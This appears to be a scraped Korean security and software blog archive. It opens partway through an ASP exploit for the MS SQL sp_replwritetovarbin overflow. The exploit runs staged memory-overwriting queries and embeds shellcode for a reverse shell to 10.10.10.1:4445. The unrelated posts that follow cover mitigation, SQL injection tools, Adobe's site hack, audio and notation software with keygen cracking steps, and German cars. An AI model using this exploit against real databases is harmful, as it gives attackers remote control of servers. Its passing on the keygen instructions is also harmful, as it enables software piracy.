  • // ########################################### SECOND QUERY
  • SQL2 = "DECLARE @buf NVARCHAR(4000),                "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 3097                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* Second byte overwritten here */            "&_
  • "     SET @buf = @buf + CHAR(0x45) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
  • // ########################################### THIRD QUERY
  • SQL3 = "DECLARE @buf NVARCHAR(4000),                "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 3021                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* Third byte overwritten here */             "&_
  • "     SET @buf = @buf + CHAR(0x46) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
  • // ########################################### FOURTH QUERY
  • SQL4 = "DECLARE @buf NVARCHAR(4000),                "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 2708                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  IF @counter = 108                        "&_
  • "  BEGIN                            "&_
  • "     /* this is the pointer we wrote - 0x38. It points to a CALL ECX */    "&_
  • "    SET @buf = @buf + CHAR(0x10) + CHAR(0xc0) + CHAR(0x4c) + CHAR(0x19) "&_
  • "     /* realign code */                        "&_
  • "    SET @buf = @buf + CHAR(0xe1)               "&_
  • "     /* realign the stack */                   "&_
  • "    SET @buf = @buf + CHAR(0x83) + CHAR(0xe4) + CHAR(0xfc) "&_
  • "     /* jump ahead */                      "&_
  • "    SET @buf = @buf + CHAR(0xe9) + CHAR(0xba) + CHAR(0x00) + CHAR(0x00) + CHAR(0x00) "&_
  • "    SET @counter = @counter + 12               "&_
  • "    CONTINUE                           "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* Fourth byte overwritten here */            "&_
  • "     SET @buf = @buf + CHAR(0x47) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     /* reverse shell on 10.10.10.1:4445 */            "&_
  • "     SET @buf=@buf+CHAR(0xfc)+CHAR(0x6a)+CHAR(0xeb)+CHAR(0x4d)+CHAR(0xe8)+CHAR(0xf9)+CHAR(0xff)
  • +CHAR(0xff)+CHAR(0xff)+CHAR(0x60)+CHAR(0x8b)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x24)+CHAR(0x8b)
  • +CHAR(0x45)+CHAR(0x3c)+CHAR(0x8b)+CHAR(0x7c)+CHAR(0x05)+CHAR(0x78)+CHAR(0x01)+CHAR(0xef)
  • +CHAR(0x8b)+CHAR(0x4f)+CHAR(0x18)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x20)+CHAR(0x01)+CHAR(0xeb)
  • +CHAR(0x49)+CHAR(0x8b)+CHAR(0x34)+CHAR(0x8b)+CHAR(0x01)+CHAR(0xee)+CHAR(0x31)+CHAR(0xc0)
  • +CHAR(0x99)+CHAR(0xac)+CHAR(0x84)+CHAR(0xc0)+CHAR(0x74)+CHAR(0x07)+CHAR(0xc1)+CHAR(0xca)
  • +CHAR(0x0d)+CHAR(0x01)+CHAR(0xc2)+CHAR(0xeb)+CHAR(0xf4)+CHAR(0x3b)+CHAR(0x54)+CHAR(0x24)
  • +CHAR(0x28)+CHAR(0x75)+CHAR(0xe5)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x24)+CHAR(0x01)+CHAR(0xeb)
  • +CHAR(0x66)+CHAR(0x8b)+CHAR(0x0c)+CHAR(0x4b)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x1c)+CHAR(0x01)
  • +CHAR(0xeb)+CHAR(0x03)+CHAR(0x2c)+CHAR(0x8b)+CHAR(0x89)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x1c)
  • +CHAR(0x61)+CHAR(0xc3)+CHAR(0x31)+CHAR(0xdb)+CHAR(0x64)+CHAR(0x8b)+CHAR(0x43)+CHAR(0x30)
  • +CHAR(0x8b)+CHAR(0x40)+CHAR(0x0c)+CHAR(0x8b)+CHAR(0x70)+CHAR(0x1c)+CHAR(0xad)+CHAR(0x8b)
  • +CHAR(0x40)+CHAR(0x08)+CHAR(0x5e)+CHAR(0x68)+CHAR(0x8e)+CHAR(0x4e)+CHAR(0x0e)+CHAR(0xec)
  • +CHAR(0x50)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x66)+CHAR(0x53)+CHAR(0x66)+CHAR(0x68)+CHAR(0x33)
  • +CHAR(0x32)+CHAR(0x68)+CHAR(0x77)+CHAR(0x73)+CHAR(0x32)+CHAR(0x5f)+CHAR(0x54)+CHAR(0xff)
  • +CHAR(0xd0)+CHAR(0x68)+CHAR(0xcb)+CHAR(0xed)+CHAR(0xfc)+CHAR(0x3b)+CHAR(0x50)+CHAR(0xff)
  • +CHAR(0xd6)+CHAR(0x5f)+CHAR(0x89)+CHAR(0xe5)+CHAR(0x66)+CHAR(0x81)+CHAR(0xed)+CHAR(0x08)
  • +CHAR(0x02)+CHAR(0x55)+CHAR(0x6a)+CHAR(0x02)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xd9)
  • +CHAR(0x09)+CHAR(0xf5)+CHAR(0xad)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x53)+CHAR(0x53)
  • +CHAR(0x53)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd0)
  • +CHAR(0x68)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x01)+CHAR(0x66)+CHAR(0x68)+CHAR(0x11)
  • +CHAR(0x5d)+CHAR(0x66)+CHAR(0x53)+CHAR(0x89)+CHAR(0xe1)+CHAR(0x95)+CHAR(0x68)+CHAR(0xec)
  • +CHAR(0xf9)+CHAR(0xaa)+CHAR(0x60)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x6a)+CHAR(0x10)
  • +CHAR(0x51)+CHAR(0x55)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x66)+CHAR(0x6a)+CHAR(0x64)+CHAR(0x66)
  • +CHAR(0x68)+CHAR(0x63)+CHAR(0x6d)+CHAR(0x6a)+CHAR(0x50)+CHAR(0x59)+CHAR(0x29)+CHAR(0xcc)
  • +CHAR(0x89)+CHAR(0xe7)+CHAR(0x6a)+CHAR(0x44)+CHAR(0x89)+CHAR(0xe2)+CHAR(0x31)+CHAR(0xc0)
  • +CHAR(0xf3)+CHAR(0xaa)+CHAR(0x95)+CHAR(0x89)+CHAR(0xfd)+CHAR(0xfe)+CHAR(0x42)+CHAR(0x2d)
  • +CHAR(0xfe)+CHAR(0x42)+CHAR(0x2c)+CHAR(0x8d)+CHAR(0x7a)+CHAR(0x38)+CHAR(0xab)+CHAR(0xab)
  • +CHAR(0xab)+CHAR(0x68)+CHAR(0x72)+CHAR(0xfe)+CHAR(0xb3)+CHAR(0x16)+CHAR(0xff)+CHAR(0x75)
  • +CHAR(0x28)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x5b)+CHAR(0x57)+CHAR(0x52)+CHAR(0x51)+CHAR(0x51)
  • +CHAR(0x51)+CHAR(0x6a)+CHAR(0x01)+CHAR(0x51)+CHAR(0x51)+CHAR(0x55)+CHAR(0x51)+CHAR(0xff)
  • +CHAR(0xd0)+CHAR(0x68)+CHAR(0xad)+CHAR(0xd9)+CHAR(0x05)+CHAR(0xce)+CHAR(0x53)+CHAR(0xff)
  • +CHAR(0xd6)+CHAR(0x6a)+CHAR(0xff)+CHAR(0xff)+CHAR(0x37)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)
  • +CHAR(0xe7)+CHAR(0x79)+CHAR(0xc6)+CHAR(0x79)+CHAR(0xff)+CHAR(0x75)+CHAR(0x04)+CHAR(0xff)
  • +CHAR(0xd6)+CHAR(0xff)+CHAR(0x77)+CHAR(0xfc)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xef)
  • +CHAR(0xce)+CHAR(0xe0)+CHAR(0x60)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd6)      "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
  • Set oConnection = Server.CreateObject("ADODB.Connection")
  • oConnection.Open "Provider=SQLOLEDB; Data Source=; Initial Catalog=; User ID=" & UserName & "; Password=" & Password
  • Set rs = Server.CreateObject("ADODB.Recordset")
  • phase = Request.Querystring("p")
  • if phase then
  • if phase = 1 then
  •         rs.open SQL3, oConnection
  •         rs.close
  •         oConnection.Close
  • Set oConnection = Nothing
  •         Response.Redirect("sql-exploit.asp?p=2")
  • elseif phase = 2 then
  •         rs.open SQL4, oConnection
  •         rs.close
  •         oConnection.Close
  • Set oConnection = Nothing
  •         Response.Redirect("sql-exploit.asp?p=3")
  • end if
  • Else
  •     rs.open SQL, oConnection
  •     rs.close
  •     oConnection.Close
  • Set oConnection = Nothing
  • Set oConnection = Server.CreateObject("ADODB.Connection")
  •     oConnection.Open "Provider=SQLOLEDB; Data Source=; Initial Catalog=; User ID=" & UserName & "; Password=" & Password
  • Set rs = Server.CreateObject("ADODB.Recordset")
  •     rs.open SQL2, oConnection
  •     rs.close
  •     oConnection.Close
  • Set oConnection = Nothing
  •     Response.Redirect("sql-exploit.asp?p=1")
  • end if
  • %>
  •  현재 취약점을 해결하는 패치가 제공되고 있지 않으므로 다음과 같이 sp_replwritetovarbin() 프로시저를 실행하지 않도록 제거하는 것이 좋습니다.

    execute dbo.sp_dropextendedproc 'sp_replwritetovarbin'

    참고자료: SP를 제거하는 방법

     또한 sp_replwritetovarbin() 프로시저를 액세스하지 못하도록 아래와 같이 명령어를 실행해도 됩니다. 명령어는 관리자 권한에서 실행해야 합니다.

    use master

    deny execute on _replwritetovarbin to public

    참고자료: http://www.microsoft.com/technet/security/advisory/961040.mspx

    감사합니다.

    2009/05/19 20:31 2009/05/19 20:31
    널리 알려지고 안전하다고 생각되는 사이트만을 방문한다고 한다면 '안티 바이러스' 즉 백신이 필요없을까요?

    또한, 최신 서비스팩이나 업데이트를 하지 않더라도 컴퓨터에 아무런 문제가 발생하지 않을까요?

    아래의 소식은 유명하고, 안전할거라고 여겨지는 사이트에서 해킹을 당하여 방문자들이 악성코드 피해를 입을 수 있는 가능성을 보여 주고 있습니다. 항상 안티 바이러스를 생활화해야 할 것입니다.


    최근 웹 공격이 많아지면서 대형 포탈 뿐만 아니라 유명한 웹 사이트들이 종종 해킹당하는 사태가 벌어지고 있습니다. 지난 주에 발생한 어도비(Adobe) 웹사이트의 해킹 소식을 전합니다.

    보안 기업으로 유명한 소포스(Sophos) 사는 어도비 웹사이트에 방문한 사람들이 악성 코드에 감염될 수 있었다고 밝혔다.

    소포스는 이러한 문제를 확인하고 지속적으로 어도비에 연락을 취하였으며 지난 주 목요일까지 악성 코드가 웹사이트에 그대로 방치되었다고 한다.

    웹 사이트에서 비디오 블러거를 위한 팁을 제공하는 'Vlog IT support centre section' 부분에 'Mal/Badsrc-C'라는 악성 코드가 존재했다고 합니다. Mac/Badsrc-C 악성 코드는 SQL 인젝션 공격을 이용하여 여러 컴퓨터에 널리 감염시키는 위험한 코드이며, 인터넷에서 악성 스크립트를 다운로드하여 실행되면 사용자 PC에 스파이웨어가 설치됩니다.

    하지만, 아직까지 어도비 사에서는 명확한 답변을 하지 않고 있습니다.

    2009/05/19 20:30 2009/05/19 20:30
    11. SQL Power Injection Injector - 이 프로그램은 웹페이지에서 SQL 명령어를 삽입하는 테스트를 수행합니다. 멀티 스레드 방식으로 블라인드 SQL Injection 공격을 자동화하여 실행합니다. 다운로드 

    12. FJ-Injector Framework - 웹 애플리케이션에 SQL Injection 취약점이 있는지 검사하기 위해 디자인된 오픈 소스 무료 프로그램입니다. HTTP 요청을 가로쳐서 변경하기 위한 프록시 기능도 제공합니다. SQL Injection 익스플로잇을 자동화하여 수행합니다. 다운로드

    13. SQLNinja - MS SQL 서버를 백 엔드 데이터베이스로 사용하는 웹 애플리케이션의 SQL Injection 취약점을 익스플로잇하는 도구입니다. 다운로드

    14. Automatic SQL Injector -  SQLNinja와 유사한 도구로, 오류 코드가 반환되는 SQL Injection 취약점을 자동으로 찾아 줍니다. 다운로드

    15. NGSS SQL Injector - 데이터베이스에 저장된 데이터를 액세스하기 위한 SQL Injection취약점을 이용하여 익스플로잇합니다. Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase 등 다양한 데이터베이스를 지원합니다. 다운로드

    개인적인 의견으로는 NGSS가 믿을만 하더군요.
    2009/05/19 20:30 2009/05/19 20:30
    6. SQLMap - 블라인드 SQL Injection을 자동으로 수행하는 도구로 phthon으로 개발되었다. 다운로드

    7. Absinthe - GUI 기반의 도구로 블라인드 SQL Injection 취약점에 이용하여 데이터베이스의 스키마와 목록을 자동화 과정으로 다운로드합니다. 다운로드

    8. SQL Injection Pen-testing Tool - 웹 애플리케이션에서의 취약점을 찾아 데이터베이스를 점검하도록 설계된 GUI 기반의 도구. 다운로드

    9. SQID - SQL Injection Digger. 웹 사이트의 통상적인 오류와 SQL Injection을 찾는 명령행 기반의 도구. 웹 페이지에서 SQL Injection 이 가능한 부분을 찾아내어 취약점을 입력하는 폼을 테스트한다. 다운로드

    10. Blind SQL Injection Perl Tool - bsqlbf는 SQL Injection에 취햑한 웹 사이트에서 정보를 가져오도록 작성된 펄 스크립트. 다운로드

    To be Continued...
    2009/05/19 20:29 2009/05/19 20:29
    SecurityHacks에서, 무료로 제공되는 SQL 인젝션 스캐너 15 제품의 요약 정보와 다운로드를 제공하는 글이 있어 이를 정리해서 올려 드립니다.

    아시다시피, SQL Injection 공격은 웹 페이지에서 데이터베이스를 액세스하는 방식을 통해 공격하는 것으로 대부분의 관리자들은 이러한 위협에 대비하여 코딩을 해야 하며, 웹 방화벽 장비나 웹 나이트와 같은 무료 보안 프로그램을 통해 보안을 향상시키는 방향으로 진행되는 것으로 알고 있습니다.

    아래의 제품들은 여러분이 운영하는 사이트가 SQL Injection 공격에 대한 취약점이 있는지 자동으로 검사하여 이를 알려 주는 프로그램입니다. 참고로, 아래의 정보는 웹 애플리케이션 개발자 뿐만 아니라 보안 전문가에게도 유익한 프로그램입니다.

    1. SQLIer - 취약점이 있는 URL을 검사하고 사용자의 개입없이 SQL Injection 취약점을 익스플로잇하기 위해 필요한 정보를 점검하려고 시도합니다. 다운로드
    사용자 삽입 이미지

    2. SQLbftools - 블라인드 SQL Injection 공격을 사용하여 MySQL의 정보를 가져오는 시도를 하는 도구의 모음입니다. 다운로드

    3. SQL Injection Brute-forcer - SQL Injection 공격 취약점을 찾고 이를 이용하여 공격하는 자동화 도구입니다. 사용자가 작업하는 내용을 볼 수 있으며, 블라인드 SQL 인젝션을 이용합니다. 다운로드

    5. SQL Brute - 블라인드 SQL 인젝션 취약점을 사용하여 데이터베이스에서 데이터를 추출해내는 무작위 도구입니다. MS SQL 서버의 시간, 오류 기반으로 익스플로잇을 수행합니다. 오라클의 경우 오류를 기반으로 합니다. 이 프로그램은 Python으로 작성되었으며 멀티 스레드로 동작하며 표준 라이브러리를 사용합니다. 다운로드

    5. BobCat - SQL Injection 취약점의 잇점을 이용하는 감사 도구입니다. 사용자가 사용하는 애플리케이션이 액세스하는 테이블에서 데이터를 가져올 수 있습니다. 다운로드

    출처: Security-Hacks.com
    2009/05/19 20:28 2009/05/19 20:28
    전세계에 살고 있는 착한 해커(!)들이 한데 모여서 자신의 기술을 뽐내는 블랙햇(BlackHat 2009) 행사에서 SQL 인젝션 공격을 한층 더 강화한 프로그램이 소개되었는데 바로 Sqlmap입니다. 이 프로그램은 Bernadro Damele 와 Daniele Bellucci가 개발하였으며 현재 0.71 버전의 RC 버전까지 나왔습니다.

    일반적으로 SQL 인젝션 공격을 통해 데이터베이스의 내용을 조작합니다. 하지만 Sqlmap 프로그램은 데이터베이스의 취약점을 이용하여 공격의 범위를 시스템 즉 운영체제까지 확장하고 있습니다.

    Sqlmap 프로그램은 명령행 기반(command prompt)의 프로그램으로 처음에는 약간 사용하기가 불편한 감이 있습니다. 하지만, 옵션이나 매개변수를 충분히 이해한 후에는 말 그대로 최강의 성능을 자랑할 수 있는 공격 테스트 도구로 사용이 가능합니다.

    특히, 기존에 널리 사용되는 SQL 인젝션 도구들은 특정 데이터베이스에 한정하여 사용할 수 있는 한계를 가지고 있었습니다. Sqlmap은 MS SQL뿐만 아니라 MySQL, PostgreSQL, Oracle까지 지원하여 산업계 전반에서 널리 사용하는 데이터베이스 엔진 대부분을 커버할 수 있습니다.


    하지만, 단점이 약간 보이기도 합니다. 서버에 다양한 데이터베이스 엔진을 구동한 상태에서 특정한 링크를 검사하면 제대로 검출해내지 못하기도 합니다. 아래 화면은 Apache + PostreSQL + PHP 상태에서 phpbb라는 유명한 게시판을 구축한 사이트를 진단한 내역입니다.

    사용자 삽입 이미지


     또한, 명령행 기반이기 때문에 사이트에 대한 전반적인 검사를 수행하는데 어려움이 있으며 다른 프로그램을 사용하여 알아낸 취약한 링크를 보다 세부적으로 분석하는 툴로 유용하게 사용할 수 있을 것으로 생각됩니다. 마지막으로 진단 속도가 비교적 느립니다.
    2009/05/19 20:27 2009/05/19 20:27
    사용자 삽입 이미지
    디지탈 오디오 파일의 편집 및 창조를 위한 사운드 툴로 속도 및 정밀함에 있어서 타의 추종을 불허하는 프로그램입니다.
     
    개선 사항
    ATRAC3, ATRAC3plus, ATRAC Advanced Lossless 파일의 오픈 및 렌더링 지원
    각종 버그들 수정

    강력함, 안정성, 일반적인 인터페이스의 포괄적 장점으로 오디오 완성을 위해 디지탈 작업을 하는 분들에게 안성맞춤인 소프트웨어입니다. 분석, 녹음, 오디오 편집, 뮤직 루프의 프로듀스, 디지탈화, 오래된 레코딩의 청소, 스트리밍 미디어 생성 등의 다양한 용도로 사용할 수 있습니다.
    평가 버전은 MPEG, MP3 등의 제3 라이센싱을 가진 몇몇 사운드 포맷의 출력(Export)은 불가능합니다.

    주요특징

    CD Architect 5.2 Software 포함 : Sound Forge에서 곧바로 CD로 출력할 수 있는 disc-at-once (DAO) 방식의 CD burning 소프트웨어

    강력한 오디오 편집기 : 빠르고 정확한 오디오의 컷, 붙여넣기, Mix, Crossfade, 삭제.

    오디오 레코딩 : 사운드 카드를 경유하는 사운드를 Record Timer를 이용해서 곧바로 레코딩. Sound Forge 8에서는 빠르고 좀더 나은 결과를 보여주는 Low-latency ASIO 드라이버를 지원함

    원본 그대로의 오디오 품질 : 미묘한 배음 및 악기, 보칼, 효과 변화들에 대한 뉘앙스까지도 캡쳐

    강력한 오디오 효과들 : Volume, EQ, Delay, Chorus, Dynamics, Noise Gate, Pitch Shift, Flange, Vibrato 등을 포함한 40 가지 이상의 스튜디오 효과와 처리의 적용이 가능하며 DirextX와 VST 효과도 지원

    확장 비디오 지원 : AVI, WMV, MPEG-1, MPEG-2 등의 다양한 비디오 포맷을 지원해서 오디오와 비디오를 Frame-by-frame으로 동기화함

    ACID Loop 생성 툴 : 또다른 소프트웨어인 ACID 내에서 사용하는 Music Loop를 생성할 수 있음.

    오디오 복구 툴 : 파일내의 섹션을 자동으로 스캔하고 클리핑 부분을 마크해서 손쉽게 수정할 수 있음. 또한 Vinyi Restoration 노이즈 감소 툴을 이용해서 Clicks, pops 또는 다른 종류의 노이즈를 제거할 수 있음
    2009/05/19 15:37 2009/05/19 15:37
    사용자 삽입 이미지

    MakeMusic Finale 2009
    사용자 삽입 이미지
    Finale 2009 설치 및 사용을 위한 컴퓨터 시스템 요구 사항

    Finale 2009 for Windows®

    • Windows XP/Vista 32-bit. (64BIT WINDOWS에서는 설치및 실행이 안됩니다. 예를 들면 WIDNWOS VISTA 64BIT, WINDOWS 2000, 등등)
    • DVD-ROM 드라이브(CD-ROM이면 설치가 불가능 합니다. Finale 2009 설치 DVD를 CD-ROM에서는 읽을 수 없고 설치할 수 없습니다.)
    • 800x600 이상의 해상도의 모니터(이건 모든 컴퓨터 모니터가 다 지원합니다. 문제 안됩니다.)
    • 최소 512MB RAM (1GB이상을 권장합니다. RAM이 많을 수록 Garritan sounds/Aria Player에서 많은 소리를 낼 수 있습니다. )
    • 최소 400MB의 여유가 있는 하드드라이브
    • 2GB이상의 하드드라이브 공간이 있어야 Finale 2009용 Garritan sounds/Aria Player용 사운드 파일을 설치할 수 있습니다. Garritan sounds/Aria Player용 사운드 파일을 finale 작업에 큰 비중을 차지하지 않기에 꼭 설치해야 하는 것은 아닙니다. 하드디스크 드라이브의 공간이 적은 분은 Garritan sounds/Aria Player용 사운드 파일을 설치하지 않아도 됩니다.

    Finale 2009 for Macintosh®

    • G4 or higher recommended. OS 10.4 or 10.5 (Mac-Intel or Power PC).*
    • DVD-ROM drive.
    • 800x600 minimum monitor resolution.
    • Minimum 512MB RAM (1GB or more recommended for optional use of Garritan sounds/Aria Player: more RAM = more available sounds).
    • 512MB hard drive space required for software and user manual. An additional 2GB hard drive space is required for all VST/AU sounds included with Finale 2009.

    Optional(선택 사항)

    • MIDI interface
    • MIDI input and/or playback device
    • 프린터
    • 스케너 
    • MicNotator® 사용을 위한 마이크 
    • 사운드 카드 (including a DirectSound AS20 recommended driver)
    • Better processor and hard drive speed is required for simultaneous use of more VST/AU instruments.
    Windows와 Mac 겸용입니다.

    Finale 2009의 전반적인 특징을 설쳥하는 비디오(UCC)입니다.

    Finale를 통해서 악보 제작하는 것이 처움이시면 아래의 비디오를 보세요.

    사용인증
    Finale 2009는 설치후 30일 안에 인증(Authorization)을 꼭 받아야만 합니다.  
    Finale 2009는 2개의 운영체계에만 설치할 수 있습니다. 그 이상 설치를 원하시면 Finale 2009를 더 구입하시거나
    더 많은 사용자 라이센스를 주는 제품을 구매하셔야만 합니다. 
    File Compatibility
    Finale family software can open files in the same or newer software version,
    but files created in a newer version cannot be opened in an older version unless converted via MusicXML.
    * Macintosh OS Leopard Users: Finale 2009 supports Mac OS 10.5.
    Please note that the Rhythm Section Generator is not available for Macintosh.

    Finale 2009만의 새로운 기능
     예전보다 더욱 빠르고 정확하게 악보입력과 편집작업을 할 수 있게 되어 악보 제작시간을 단축할 수 있습니다.
     더욱 강력해진 악보 작업
     300여개의 Garritan사의 오케스트랄 사운드 및 Garritan사의 최신 사운드 엔진이 Aria Player 탑재.
     100개 이상의 Tapspace Virtual Drumline™의 드럼 사운드
     SmartMusic 용 화일 제작이 더 쉬워지고 편리해졌으나 기능은 더 강력
     ASIO 지원으로 Windows 상에서 더 나은 사운드 제공
     여러 페이지를 보면서 편집할 수 있는 기능
     New Finaleforbidden® – more power to automate your tasks
     인간이 연주하는 것 처럼 플레이 할수 있게 Human Playback®의 기능 더 향상
     VST/AU 의 가상 악기 지원          
    녹음할 수 있고 오디오 트랙을 불러 올 수 있습니다.
    SmartMusic® 용 반주를 만들 수 있습니다.
    Finale 2009에 있는ㅣ Band-in-a-Box® Auto-Harmonizing 기능을 이용해서 6-voice의 하모니를 멜로디를 위해서 만들 수 있습니다.
    연습기능(Exercise Wizard – instantly generates up to 50,000 practice pieces for your band, orchestra, or choir without entering a single note)
    • Studio View™ – an all-in-one environment for multi-track music creation
    • Finale NotePad®를 사용해서 Finale가 없는 사람도 Finale로 만든 화일을 볼 수 있는 기능
    • MicNotator® lets you enter notes by playing your brass or woodwind instrument
    • 사용 설명이 비디오가 들어 있어서 이걸 보고서 사용법을 배울 수 있는 기능
     Finale 2009의 특징
    • Streamlined user interface is more efficient, intuitive, and consistent
    • Set-up Wizard configures your score beautifully in seconds
    • Enter your music into Finale using a MIDI keyboard, computer keyboard, mouse, mic, or scanner
    • Scan existing sheet music directly into Finale. From there you can change the key, edit, and save as a Finale file
    • Linked Parts – intelligently links your score and parts to save you time
    • Video Support – import video, plus send and display SMPTE time code
    • TempoTap™ – conduct your own tempo changes
    • Playback – here are just a few reasons why Finale’s sound is unsurpassed:
         o Record or import an audio track for unprecedented realism
         o More than 300 world-class Garritan instrument sounds, plus a full General MIDI set and much more
         o More than 100 sounds from the acclaimed Tapspace Virtual Drumline™
         o Human Playback® makes your music sound like live musicians are playing it – even if you entered your notes with a mouse!
         o Integrated Garritan Aria player
         o Compatible with any VST/AU instruments
         o Powerful Mixer (real-time control of volume, panning, patch, and more)
        o Save Audio Files (including .MP3) to create CDs or save to an iPod®
    • Document Styles let you instantly personalize the appearance of new documents
    • Colored Noteheads and integrated samples of Boomwhackers® tuned percussion tubes
    • Supports Windows XP/Vista and Mac 10.4 & 10.5
     
    ======================================================================
     
     

      INSTALLATION INSTRUCTIONS
     
       1. Burn or mount with Daemon Tools.
       2. Install Finale 2009.
       3. Make sure you are disconnected from the net the first time you run
          Finale 2009.
       4. Enter your name, and some bullshit for serial, press next and select
          telephone activation.
       5. Type the Software User Activation code into the field in the keygen,
          To generate your real Serial Number and Authorization Code.
       6. Press back in Finale 2009, and update the bullshit Serial Number
          with the real one from the keygen, press next, and use the
          Authorization Code from the keygen to activate your software.
       7. Enjoy!
    2009/05/19 15:33 2009/05/19 15:33
    독일은 세계적으로 인정받는 기계공학의 선두국가이다. 물론 그런 앞선 기술력과 자신감을 바탕으로 두번이나 세계대전을 일으킨 나라이긴 하지만, 어쨌든 치밀하고 정확한 민족성에 기반하여 발달된 기계공학의 힘은 여전히 선두를 달리고 있다.

    그중에서도 독일 하면 차를 잘 만드는 나라로 알려져있고, 그 정점에는 3대 프리미엄 양산차 메이커, 벤츠, BMW, 아우디 가 존재한다. 이 3대 메이커는 삼척동자도 알만큼 유명하다. 하지만 일반인에게는 다소 거리감이 존재하는 이름이고, 실제로 이 차들이 어떤 차인지, 어째서 프리미엄 메이커로 불리우며 또 그 차이는 무엇인지 잘 모르는 경우가 많다. 본 기고는 이러한 3대 독일차의 실제 특성이 어떤 것인지 이 차를 직접 접해보지 못한 사람들에게도 쉽게 이해할 수 있도록 하기 위해 쓰여졌다.


    1. 메르세데스 벤츠

    세계에서 가장 네임밸류가 높고, 브랜드 가치가 높게 평가되는 차, 벤츠. 고급차와 럭셔리카의 상징이자 100년이 넘는 전통을 가진 자동차의 역사 그 자체인 메이커이다.

    벤츠가 명차라 불리우는 것은 100년의 전통때문은 아니다. 벤츠가 명차가 된 것은, 차에 대한 철학이 뚜렷하고 또 품질적으로도 높은 완성도를 추구하기 때문이다. 1년의 생산량은 미국이나 일본의 양산차 메이커에 비하면 택도 없이 작은 양이다. 하지만 양보다 질을 추구하는 독일차 메이커의 철학을 세운 것도 역시 벤츠이다.

    벤츠는 이름에서 풍기는 이미지나 여러가지 브랜드 특성을 볼때, 어떤 거친 역동성이나 파워풀한 힘보다는 '엘레강스'와 '고급스러움'에 집착한다. 물론 성능이라는 중요한 요소를 뒤로 한 고급스러움이 아니라, 성능과 고급스러움의 조화를 추구한다.

